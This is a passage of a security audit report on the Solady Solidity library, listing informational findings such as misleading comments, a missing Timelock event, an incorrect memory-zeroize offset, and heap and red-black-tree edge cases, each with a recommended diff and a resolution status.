If the code is correct and the comments are the issue, consider revising them to explicitly state that exact matches can be returned, for example: "*the largest key that is less than or equal to `key`*".

Solady: Addressed in PR 1289 and PR 1314.

Spearbit: Verified. This has been addressed by updating the comments while leaving the implementation unchanged.

5.6.2 `MinDelaySet()` event not emitted during initialization

Severity: Informational

Context: Timelock.sol#L136-L147

Description: The `MinDelaySet()` event is emitted by the `Timelock` contract when the `setMinDelay()` function updates the minimum delay. However, this event is not emitted when the first minimum delay is set during initialization. Emitting this event during `initialize()` could be useful for off-chain tracking.

Recommendation: Consider updating the `Timelock` contract to emit the `MinDelaySet()` event with the minimum delay from the `initialize()` function:

```
  assembly {
      if shr(254, initialMinDelay) {
          mstore(0x00, 0xd1efaf25) // `TimelockDelayOverflow()`.
          revert(0x1c, 0x04)
      }
      let s := _TIMELOCK_SLOT
      if sload(s) {
          mstore(0x00, 0xc44f149c) // `TimelockAlreadyInitialized()`.
          revert(0x1c, 0x04)
      }
      sstore(s, not(initialMinDelay))
+     mstore(0x00, initialMinDelay)
+     log1(0x00, 0x20, _MIN_DELAY_SET_EVENT_SIGNATURE)
  }
```

Solady: Added in PR 1290.

Spearbit: Verified.

5.6.3 `Timelock` incorrect zeroize location

Severity: Informational

Context: Timelock.sol#L349-L357

Description: In the `_execute()` function of the `Timelock` contract, the following logic aims to zeroize the memory after the `executionData` before emitting the `Executed()` event:

```
// Some indexers require the bytes to be zero-right padded.
mstore(add(add(m, 0x60), executionData.length), 0) // Zeroize the slot after the end.
```

However, since the `executionData` starts at `add(m, 0x40)` in memory, the `mstore()` writes 32 bytes beyond the desired location and does not zeroize the memory after `executionData` as intended.

Recommendation: Change the `_execute()` function to have the zeroize `mstore()` logic as follows:

```
- mstore(add(add(m, 0x60), executionData.length), 0) // Zeroize the slot after the end.
+ mstore(add(add(m, 0x40), executionData.length), 0) // Zeroize the slot after the end.
```

Solady: Fixed in PR 1231.

Spearbit: Verified.

5.6.4 Unclear `enqueue()` popping behavior

Severity: Informational

Context: MinHeapLib.sol#L364-L382

Description: The following comments exist above the `enqueue()` function in `MinHeapLib`:

```
/// @dev Pushes the `value` onto the min-heap, and pops the minimum value
/// if the length of the heap exceeds `maxLength`.
///
/// Reverts if `maxLength` is zero.
/// ...
function enqueue(MemHeap memory heap, uint256 value, uint256 maxLength)
```

It is technically possible for the `heap` size to already exceed the `maxLength` before this function is called, and the most literal interpretation of the above comments imply that the minimum value would be popped in this scenario. However, this is not the case, because the current implementation only pops a value if the `heap` size is equal to `maxLength`:

```
// Mode: `enqueue`.
if iszero(mode) {
    if iszero(maxLength) { continue }
    // If queue is not full.
    if iszero(eq(n, maxLength)) {
        status := 1
        pos := n
        // Increment and update the length.
        sstore(heap.slot, add(pos, 1))
        childPos := sOffset
        break
    }
    let r := sload(sOffset)
    if iszero(lt(r, value)) { break }
    status := 3
    childPos := 1
    popped := r
    break
}
```

While this edge case does not arise if `enqueue()` is consistently used to build the `heap` with the same `maxLength` in each call, this may not be clear from the comments alone.

Recommendation: Consider updating the comments in `MinHeapLib` to clarify that the `heap` being larger than `maxLength` should not happen under normal usage, and in this case, no value will be popped. Alternatively, adjust the implementation to handle this edge case by always popping a value if the heap size exceeds `maxLength`.

Solady: Fixed in PR 1291.

Spearbit: Verified. Additional documentation has been added to the comments to clarify this edge case, and the `enqueue()` logic has been updated to pop the minimum value even in the case that the `heap` size is strictly larger than the `maxLength` prior to the `enqueue()` operation.

5.6.5 Pattern of transferring ETH if clone is already deployed may be unexpected

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Relevant Context: LibClone.sol

Description: In `LibClone.sol`, for each of the functions returning an `alreadyDeployed` boolean, we include a pattern of transferring any provided `msg.value` to the contract in case it has already been deployed:

```
if iszero(extcodesize(instance)) {
    instance := create2(value, add(m, 0x0c), add(n, 0x37), salt)
    if iszero(instance) {
        mstore(0x00, 0x30116425) // `DeploymentFailed()`.
        revert(0x1c, 0x04)
    }
    break
}
alreadyDeployed := 1
if iszero(value) { break }
if iszero(call(gas(), instance, value, codesize(), 0x00, codesize(), 0x00)) {
    mstore(0x00, 0xb12d13eb) // `ETHTransferFailed()`.
    revert(0x1c, 0x04)
}
break
```

While this pattern may be useful, it may also be unexpected, and could potentially lead to unexpected effects in case the developer integrating this library is unaware.

Recommendation: Clearly document that this behavior occurs with each of these functions. Also consider renaming these functions to have a `try` prefix, indicating that the function will not revert if the contract is already deployed.

Solady: Acknowledged.

Spearbit: Acknowledged.

5.6.6 Misleading comment in P256 verifier

Severity: Informational

Context: P256.sol#L26

Description: In the P256 `VERIFIER` implementation (which can be found at Vectorized's GitHub gist with id 599b0d8a), the following comment describes the memory layout of the contract:

```
// For this implementation, we will use the memory without caring about
// the free memory pointer or zero pointer.
// The slots 0x00, 0x20, 0x40, 0x60, will not be accessed for the Points[16] array,
// and can be used for storing other variables.
```

This comment is misleading because the first element of the `Points[16]` array (the element at index 0) has its `X`, `Y`, and `Z` values stored at memory locations `0x00`, `0x20`, and `0x40` respectively. Since the first element of the array represents the point at infinity of the curve, which is represented by `Z == 0`, it is crucial that `0x40` in memory always remains zero.

If `0x40` does not remain zero, then whenever the 4 bits from `u1` and `u2` being inspected are all 0, the `z2` value would read a non-zero value:

```
for { let o := or(and(shr(245, shl(i, u1)), 0x600), and(shr(247, shl(i, u2)), 0x180)) } 1 {} {
    let z2 := mload(add(o, 0x40))
    if or(iszero(z), iszero(z2)) {
        if iszero(z2) { break }
        x := mload(o)
        y := mload(add(o, returndatasize()))
        z := z2
        break
    }
    // ...
```

This would cause the point to no longer be interpreted as the point at infinity, leading to unexpected behavior and causing the memory locations `0x00` and `0x20` to be actively used as well.

Fortunately, there is no way for `0x40` in memory to become non-zero, so this is not an issue. The only problem in the current implementation is the misleading comment.

Recommendation: Update the comments of the P256 `VERIFIER` to state that the memory in `0x40` should not be altered and should always remain zero:

```
// For this implementation, we will use the memory without caring about
// the free memory pointer or zero pointer.
// The slots 0x00, 0x20, and 0x60 are not necessary for the Points[16] array
// and can be used for storing other variables. The slot 0x40 must always
// remain zero to ensure the first element of the array represents the point at infinity.
```

Solady: Addressed in PR 1275.

Spearbit: Verified.

5.6.7 Enumerable set ordering can change arbitrarily

Severity: Informational

Context: EnumerableSetLib.sol#L409-L415

Description: In `EnumerableSetLib.remove` functions, excluding the `Uint8Set` variant, we use a swap and pop mechanism to remove elements from the set:

```
if iszero(eq(sub(position, 1), n)) {
    let lastValue := shr(96, sload(add(rootSlot, n)))
    sstore(add(rootSlot, sub(position, 1)), shl(96, lastValue))
    sstore(add(rootSlot, n), 0)
    mstore(0x00, lastValue)
    sstore(keccak256(0x00, 0x40), position)
}
```

This works by replacing the element being removed with the last element, and popping off the last element.

One effect of this pattern is that it modifies the ordering of the set. This is not inherently a problem, but is not clearly documented, potentially being counter to the expectations of developers using this library. This can especially be a problem with the `at` functions, whereby improper integrations may be victim to timing attacks wherein the value at a given index unexpectedly changes due to a removal.

Recommendation: Add clear documentation to indicate that the ordering of sets can be arbitrarily modified and may change suddenly.

Solady: Fixed in PR 1292.

Spearbit: Verified.

5.6.8 Unnecessary logic in P256 verifier

Severity: Informational

Context: P256.sol#L26

Description: Near the end of the P256 `VERIFIER` implementation (which can be found at Vectorized's GitHub gist with id 599b0d8a), the following logic checks if the `Z` value of the calculation $u_1 G + u_2 Q$ is zero, and if it is, the result is determined by checking if `r == 0`:

```
if iszero(z) {
    mstore(returndatasize(), iszero(r))
    return(returndatasize(), returndatasize())
}
```

This check on the `r` value is unnecessary, because `r` is forced to be non-zero earlier in the function:

```
if iszero(
    and(
        and(
            and(/* ... */, and(lt(iszero(r), lt(r, n)), /* ... */)),
            /* ... */
        ),
        /* ... */
    )
) { return(0x80, 0x20) }
```

Moreover, returning a failure regardless of the value of `r` is more appropriate in this scenario, as `z` being zero indicates the calculation resulted in the point at infinity, which should cause the signature to be rejected according to ECDSA rules.

Recommendation: Update the `VERIFIER` implementation to disregard `iszero(r)` in this case, and always return a failure if `z == 0`:

```
  if iszero(z) {
-     mstore(returndatasize(), iszero(r))
+     mstore(returndatasize(), 0)
      return(returndatasize(), returndatasize())
  }
```

Solady: Addressed in PR 1297.

Spearbit: Verified. The new `VERIFIER` implementation has updated the relevant code to the following:

```
// Returns 0 if `z == 0` which indicates that the result is a point at infinity.
if iszero(z) { return(0x40, returndatasize()) }
```

5.6.9 Incorrect comments above `checkDelegateForERC1155()`

Severity: Informational

Context: DelegateCheckerLib.sol#L270-L282

Description: The `DelegateCheckerLib` library contains functions that either take `bytes32 rights` as input, or defaults to forwarding `bytes32(0)` when `rights` are not provided. In the case of the `checkDelegateForERC1155()` function that doesn't take `bytes32 rights` as input, the documentation incorrectly implies that it does:

```
/// @dev Returns the amount of an ERC1155 token `id` for `contract_`
/// that `to` is granted rights to act on the behalf of `from`.
/// ```
///     max(
///         v2.checkDelegateForERC1155(to, from, contract_, id, rights),
///         v1.checkDelegateForContract(to, from, contract_, id) ? type(uint256).max : 0
///     )
/// ```
/// Returns `type(uint256).max` if `checkDelegateForContract(to, from, contract_)` returns true.
function checkDelegateForERC1155(address to, address from, address contract_, uint256 id)
```

Recommendation: Update the comments above this function to reflect that `rights` are forwarded as zero/empty:

```
- /// v2.checkDelegateForERC1155(to, from, contract_, id, rights),
+ /// v2.checkDelegateForERC1155(to, from, contract_, id, ""),
```

Solady: Fixed in PR 1299.

Spearbit: Verified.

5.6.10 `RedBlackTreeLib` insertion case does `continue` instead of `break`

Severity: Informational

Context: RedBlackTreeLib.sol#L458-L471

Description: In the `RedBlackTreeLib`, one of the fixup cases that maintains the red-black invariant in the tree is as follows:

```
if iszero(and(BR, cPacked_)) {
    if eq(key_, getKey(parentPacked_, R)) {
        key_ := parent_
        rotate(nodes_, key_, L, R)
    }
    parent_ := getKey(sload(or(nodes_, key_)), _BITPOS_PARENT)
    parentPacked_ := sload(or(nodes_, parent_))
    sstore(or(nodes_, parent_), and(parentPacked_, not(BR)))
    grandParent_ := getKey(parentPacked_, _BITPOS_PARENT)
    let s_ := or(nodes_, grandParent_)
    sstore(s_, or(sload(s_), BR))
    rotate(nodes_, grandParent_, R, L)
    continue
}
```

This case corresponds to a standard red-black tree fixup case, and it is known that the fixup is complete once this case finishes. Therefore, it would be more appropriate to `break` out of the fixup at this point instead of using `continue`.

Using `continue` in the current implementation does not cause issues, as the next iteration will always have a red `key_` and a black `parent_`, which leads to a `break` early in the next iteration anyway.

Recommendation: To better match other red-black tree implementations, and to avoid the minor overhead of entering the next iteration, consider changing the above `continue` into a `break`.

Solady: Addressed in PR 1288.

Spearbit: Verified.

5.6.11 `SignatureCheckerLib` attempts `ecrecover()` even if signer has code

Severity: Informational

Context: SignatureCheckerLib.sol#L30-L31

Description: Most functions in the `SignatureCheckerLib` library attempt to verify signatures using `ecrecover()` first, and then fallback to ERC-1271 verification if `ecrecover()` fails. This logic makes sense with the current state of the EVM, since there is no overlap between addresses with known private keys and addresses with code.

However, future EIPs such as EIP-7702 will allow addresses with code to also have known private keys, which changes the dynamic of the current behavior. For example, under EIP-7702, a valid ECDSA signature would be accepted by `SignatureCheckerLib` even if the signer has delegated to code that implements custom `isValidSignature()` logic. This EIP-7702 concern alone is unlikely to introduce significant risks, as delegations can be updated by the EOA's private key, so ECDSA having the same amount of privilege as ERC-1271 does not significantly change any security assumptions.

That said, future EIPs may introduce scenarios where code is permanently etched into an EOA's address. This may happen in the future if ECDSA is broken in a post-quantum scenario. With this in mind, it's likely that for addresses with code, ECDSA should be ignored in favor of ERC-1271.

Note that OpenZeppelin has changed their code in a similar manner, as they describe in OpenZeppelin contracts issue 4855.

Recommendation: Consider changing the `SignatureCheckerLib` to only attempt `ecrecover()` if the signer does not have code. If the signer has code, then the library should attempt ERC-1271 signature verification.

Solady: Fixed in PR 1261, PR 1264, and PR 1267.

Spearbit: Verified.

5.6.12 `LibTransient` comments incorrectly refer to `LibRLP`

Severity: Informational

Context: LibTransient.sol#L4-L11

Description: Near the beginning of the LibTransient library, the following comments incorrectly reference LibRLP:

```
/// @notice Library for RLP encoding and CREATE address computation.
/// ...
library LibTransient {
```

Recommendation: Update the comments to describe the LibTransient library instead of LibRLP.

Solady: Fixed in PR 1270.

Spearbit: Verified.

5.6.13 Misleading comment in RedBlackTreeLib

Severity: Informational

Context: RedBlackTreeLib.sol#L590-L593

Description: In the removal logic of the RedBlackTreeLib, if the key_ to be removed has two children, the value of its successor (referred to as cursor_) is placed where the key_ originally was, and the successor location is removed instead. This swapping is facilitated with the following logic:

```
if iszero(eq(cursor_, key_)) {
    let packed_ := sload(or(nodes_, key_))
    replaceParent(nodes_, getKey(packed_, _BITPOS_PARENT), cursor_, key_)

    let leftSlot_ := or(nodes_, getKey(packed_, _BITPOS_LEFT))
    sstore(leftSlot_, setKey(sload(leftSlot_), _BITPOS_PARENT, cursor_))

    let rightSlot_ := or(nodes_, getKey(packed_, _BITPOS_RIGHT))
    sstore(rightSlot_, setKey(sload(rightSlot_), _BITPOS_PARENT, cursor_))

    // Copy `left`, `right`, `red` from `cursor_` to `key_`.
    // forgefmt: disable-next-item
    sstore(or(nodes_, cursor_), xor(cursorPacked_,
        and(xor(packed_, cursorPacked_), sub(shl(_BITPOS_PACKED_VALUE, 1), 1))))

    let t_ := cursor_
    cursor_ := key_
    key_ := t_
}
```

In the above code, the comment `// Copy left, right, red from cursor_ to key_` is misleading. The left, right, and red values are actually being copied from the key_ to the cursor_, as these values pertain to the position of the key_ in the tree rather than the data associated with the key_ itself.

Recommendation: Consider updating the comment to accurately reflect this logic:

```
- // Copy `left`, `right`, `red` from `cursor_` to `key_`.
+ // Copy `left`, `right`, `red` from `key_` to `cursor_`.
```

Solady: Fixed in PR 1288.

Spearbit: Verified.

5.6.14 LibERC7579 doesn't support the staticcall callType

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Relevant Context: LibERC7579.sol#L19-L26

Description: EIP7579 lists the following `callType`'s: "`0x00` for a single `call`, `0x01` for a batch `call`, `0xfe` for `staticcall` and `0xff` for `delegatecall`". However, `LibERC7579` doesn't include the `staticcall` `callType`:

```
/// @dev A single execution.
bytes1 internal constant CALLTYPE_SINGLE = 0x00;

/// @dev A batch of executions.
bytes1 internal constant CALLTYPE_BATCH = 0x01;

/// @dev A `delegatecall` execution.
bytes1 internal constant CALLTYPE_DELEGATECALL = 0xff;
```

Recommendation: Include and add support for the `staticcall` `callType`.

Solady: Fixed in PR 1293.

Spearbit: Verified.

5.6.15 `receiverFallback()` memory assumption can be documented

Severity: Informational

Context: Receiver.sol#L46-L47

Description: In the `Receiver` contract, the `receiverFallback()` modifier stores a four-byte value using `mstore(0x20, ...)` and returns the memory in `[0x3c, 0x5c)`:

```
modifier receiverFallback() virtual {
    _beforeReceiverFallbackBody();
    if (_useReceiverFallbackBody()) {
        /// @solidity memory-safe-assembly
        assembly {
            let s := shr(224, calldataload(0))
            // 0x150b7a02: `onERC721Received(address,address,uint256,bytes)`.
            // 0xf23a6e61: `onERC1155Received(address,address,uint256,uint256,bytes)`.
            // 0xbc197c81: `onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)`.
            if or(eq(s, 0x150b7a02), or(eq(s, 0xf23a6e61), eq(s, 0xbc197c81))) {
                mstore(0x20, s) // Store `msg.sig`.
                return(0x3c, 0x20) // Return `msg.sig`.
            }
        }
    }
    _afterReceiverFallbackBody();
    _;
}
```

This area of memory overlaps with the left-most 28 bytes of the free memory pointer, and for the return value to make sense, this area of memory must remain zero. So, this modifier is assuming that the free memory pointer is always smaller than `0xffffffff`. This is a reasonable assumption, as it would likely be prohibitively expensive in terms of gas to use enough memory to exceed this value. However, this assumption is not documented.

Recommendation: Consider documenting this behavior above the `receiverFallback()` modifier.

Solady: Documented in PR 1294.

Spearbit: Verified.

5.6.16 `childPos` logic can be clarified in `MinHeapLib`

Severity: Informational

Context: MinHeapLib.sol#L103-L118

Description: In the `_set()` function of the `MinHeapLib`, the `childPos` value controls the function's flow, with `childPos < n` and `childPos == not(0)` being special cases. In some instances, `childPos` is assigned the value of `sOffset`, which is the value of the array storage slot. This usage seems to rely on `sOffset` being greater than `n` but less than `not(0)`, which might not be obvious when reading the code. Documenting this behavior could improve clarity.

Recommendation: Consider documenting this behavior in the `MinHeapLib`. For example:

```
  // Mode: `push`.
  if eq(mode, 3) {
      // Increment and update the length.
      pos := n
      sstore(heap.slot, add(pos, 1))
+     // sOffset is used as a value that is >= n and < not(0)
      childPos := sOffset
      break
  }
```

Solady: Documented in PR 1291.

Spearbit: Verified.

5.6.17 Potentially unsafe assumption that ERC4337 `Entrypoint` contract contains a `receive` method

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Relevant Context: ERC4337.sol#L359-L363

Description: In `ERC4337.addDeposit`, we make the assumption that the `EntryPoint` contract contains a `receive` function with balance accounting logic:

```
// The EntryPoint has balance accounting logic in the `receive()` function.
// forgefmt: disable-next-item
if iszero(mul(extcodesize(ep), call(gas(), ep, callvalue(), codesize(), 0x00, codesize(), 0x00))) {
    revert(codesize(), 0x00) // For gas estimation.
}
```

While the reference implementation does include a `receive` function with balance accounting logic, this is not clearly defined as a requirement in the specification, whereas it is clearly defined that the `depositTo` function can be safely used to add a deposit. To err on the side of caution, it may be a better option to make a call to `depositTo` rather assuming that a `receive` function will be present.

Recommendation: Replace the existing call with a call to `depositTo`, providing the account address as a parameter.

Solady: Fixed in PR 1300.

Spearbit: Verified.

5.6.18 Undocumented overflow behavior in `MinHeapLib`

Severity: Informational

Context: MinHeapLib.sol#L103-L118

Description: In the `smallest()` functions within the `MinHeapLib`, the `pValue()` and `pSiftdown()` helper functions are implemented as follows:

```
function pValue(h_, p_) -> _v {
    _v := mload(add(h_, shl(6, p_)))
}

function pSiftdown(h_, p_, i_, v_) {
    for {} 1 {} {
        let u_ := shr(1, sub(p_, 1))
        if iszero(mul(p_, lt(v_, pValue(h_, u_)))) { break }
        pSet(h_, p_, pIndex(h_, u_), pValue(h_, u_))
        p_ := u_
    }
    pSet(h_, p_, i_, v_)
}
```

Note that it is possible for `pSiftdown()` to be called with `p_ == 0`. In this case, `u_` will be calculated as `shr(1, sub(0, 1))` and thus the `pValue()` function will `mload(add(h_, shl(6, shr(1, sub(0, 1)))))`. This is equivalent to `mload(add(h_, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc0))`, which is equivalent to `mload(sub(h_, 0x40))` due to addition overflow.

This behavior is unconventional and can be difficult to reason about. Fortunately, it does not seem to lead to any problems, because if `h_` is at least `0x40`, the `mload()` will operate on a relatively normal area of memory (and not a very large memory location which would cause a huge memory expansion cost). In the `p_ == 0` case, the actual value returned from the `mload()` does not matter, since the `pSiftdown()` function multiplies the result of `pValue()` by `p_` and breaks if the value is zero.

Recommendation: Consider documenting this behavior or simplifying the logic. For example, the implementation could be changed to avoid the `mload()` entirely when `p_ == 0`, as the returned value is not used. This would make the behavior more predictable and eliminate any potential edge cases with large memory locations.

Solady: Acknowledged.

Spearbit: Acknowledged.

5.6.19 `RedBlackTreeLib` temporarily sets parent of null value

Severity: Informational

Context: RedBlackTreeLib.sol#L571-L577

Description: In the `remove()` function of the `RedBlackTreeLib`, it is possible for the parent of the null value (index 0) to be set to a non-zero value. For example, this can occur if the location of the node being removed has no children, causing the `probe_` value in the following logic to be 0:

```
let cursorPacked_ := sload(or(nodes_, cursor_))
let probe_ := getKey(cursorPacked_, _BITPOS_LEFT)
probe_ := getKey(cursorPacked_, mul(iszero(probe_), _BITPOS_RIGHT))
// ...
let probeSlot_ := or(nodes_, probe_)
sstore(probeSlot_, setKey(sload(probeSlot_), _BITPOS_PARENT, yParent_))
replaceParent(nodes_, yParent_, probe_, cursor_)
```

In fact, this behavior is necessary for the correctness of the code, as the first iteration of the `removeFixup()` loop usually begins with the null value and follows its parent for subsequent iterations.

While no exploit was identified relating to this behavior, it does seem error-prone and introduces potential risks. All null values in the tree would temporarily point to the same parent, so if the `removeFixup()` loop were to consider a different null value in the tree somehow, it could lead to incorrect behavior. Also, since the storage slot `or(nodes_, 0)` holds the root information of the tree, this temporary setting of the null value's parent would also overwrite information in the tree's root slot. However this is less of a concern because `remove()` caches the root information in memory location `0x10` during execution and resets it afterward.

Recommendation: Consider refactoring the `remove()` function in the `RedBlackTreeLib` to not rely on the parent of the null value being used. This would make the code easier to reason about, and would help with verifying its correctness.

Solady: Acknowledged. Added a short comment about this in PR 1288.

Spearbit: Acknowledged.

5.6.20 `ERC7821` allows dirty upper bits in `target`

Severity: Informational

Context: ERC7821.sol#L154

Description: In the `ERC7821` contract, the following logic extracts the `address target` from the `Call` struct and forwards it to the `_execute()` function:

```
function _execute(Call[] calldata calls, bytes32 extraData) /* ... */ {
    // ...
    uint256 n = calls.length << 5;
    for (uint256 j; j != n;) {
        // ...
        assembly {
            // ...
            target := or(mul(address(), iszero(calldataload(c))), calldataload(c))
            // ...
        }
        bytes memory r = _execute(target, value, data, extraData);
        // ...
    }
}
```

Notice that with this implementation, there is no check to ensure that the value obtained from `calldataload(c)` fits within the expected 160 bits for an address value. As a result, the `target` may contain dirty upper bits, which would eventually be ignored by the low-level call. This does not appear to be a security issue, but it may be worth documenting this behavior.

Recommendation: Consider documenting this behavior, or adjusting the decoding logic to require that the `target` correctly fits within 160 bits.

Solady: Documented in PR 1285.

Spearbit: Verified.

5.6.21 Incorrect comment in `LibClone`

Severity: Informational

Context: LibClone.sol#L591-L593

Description: In the NatSpec documentation above `LibClone.initCode(address implementation, bytes memory args)`, we document the function as follows:

```
/// @dev Returns the initialization code hash of the clone of `implementation`
/// using immutable arguments encoded in `args`.
function initCode(address implementation, bytes memory args)
```

However, the function does not actually return the initialization code hash, but rather just the initialization code.

Recommendation: Adjust the NatSpec comment to indicate that the initialization code is returned:

```
- /// @dev Returns the initialization code hash of the clone of `implementation`
+ /// @dev Returns the initialization code of the clone of `implementation`
  /// using immutable arguments encoded in `args`.
  function initCode(address implementation, bytes memory args)
```

Solady: Fixed in PR 1304.

Spearbit: Verified.

5.6.22 Incorrect comment in ERC7821

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Relevant Context: ERC7821.sol#L95-L100

Description: In `ERC7821`, we document the bytes layout of the execution mode as follows:

```
// Bytes Layout:
// - [0]      ( 1 byte )  `0x01` for batch call.
// - [1]      ( 1 byte )  `0x00` for revert on any failure.
// - [2..5]   ( 4 bytes)  Reserved by ERC7579 for future standardization.
// - [6..8]   ( 4 bytes)  `0x78210001` or `0x00000000`.
// - [9..31]  (22 bytes)  Unused. Free for use.
```

However, the last two elements contain an incorrect end and start byte, respectively. `[6..8]` is listed as a 4 byte range when it should actually be `[6..9]`.

Recommendation: Adjust the byte range for the last two elements:

```
  // Bytes Layout:
  // - [0]      ( 1 byte )  `0x01` for batch call.
  // - [1]      ( 1 byte )  `0x00` for revert on any failure.
  // - [2..5]   ( 4 bytes)  Reserved by ERC7579 for future standardization.
- // - [6..8]   ( 4 bytes)  `0x78210001` or `0x00000000`.
+ // - [6..9]   ( 4 bytes)  `0x78210001` or `0x00000000`.
- // - [9..31]  (22 bytes)  Unused. Free for use.
+ // - [10..31]  (22 bytes)  Unused. Free for use.
```

Solady: Fixed in PR 1283.

Spearbit: Verified.

5.6.23 `Timelock.propose`: Consider adding a `salt` as a mandatory parameter to the function

Severity: Informational

Context: Timelock.sol#L162

Description: The `Timelock` contract is based on the implementation of TimelockController which has the equivalent functions of `schedule` and `scheduleBatch` containing a parameter named `salt` to help differentiate between different calls to be executed. The `Timelock` contract itself however, has the `propose` function which has `bytes calldata executionData` that can contain an optional `salt` like value but does not actively enforce it. The purpose of this salt value is to allow users (`PROPOSER_ROLE` in this case) to execute the same batch of calls more than once. In case users decided to consistently not use a `salt` they will not be able to do so although they may add a salt to the later batches to circumvent, we still think you may want to consider adding it as a mandatory parameter.

Recommendation: Consider adding it to the `propose` function as a mandatory parameter and make sure to hash it alongside with `executionData` to generate the unique id.

Solady: Acknowledged. Added a comment in PR 1302.

Spearbit: Acknowledged.

5.6.24 `ERC4337.storageStoreGuard()`: Consider fixing the inline comment

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description:

```
/// @dev Ensures that the `storageSlot` is not prohibited for direct storage writes. @audit: is not -->
↪  is
/// You can override this modifier to ensure the sanctity of other storage slots too.
modifier storageStoreGuard(bytes32 storageSlot) virtual {
    /// @solidity memory-safe-assembly
    assembly {
        if or(eq(storageSlot, _OWNER_SLOT), eq(storageSlot, _ERC1967_IMPLEMENTATION_SLOT)) {
            revert(codesize(), 0x00)
        }
    }
    _;
}
```

As we can see there is a wrong double negation with the inline comment as it should be:

```
/// @dev Ensures that the `storageSlot` is prohibited for direct storage writes.
```

Recommendation: Consider removing the "not" from the sentence.

Solady: Fixed in PR 1233.

Spearbit: Verified.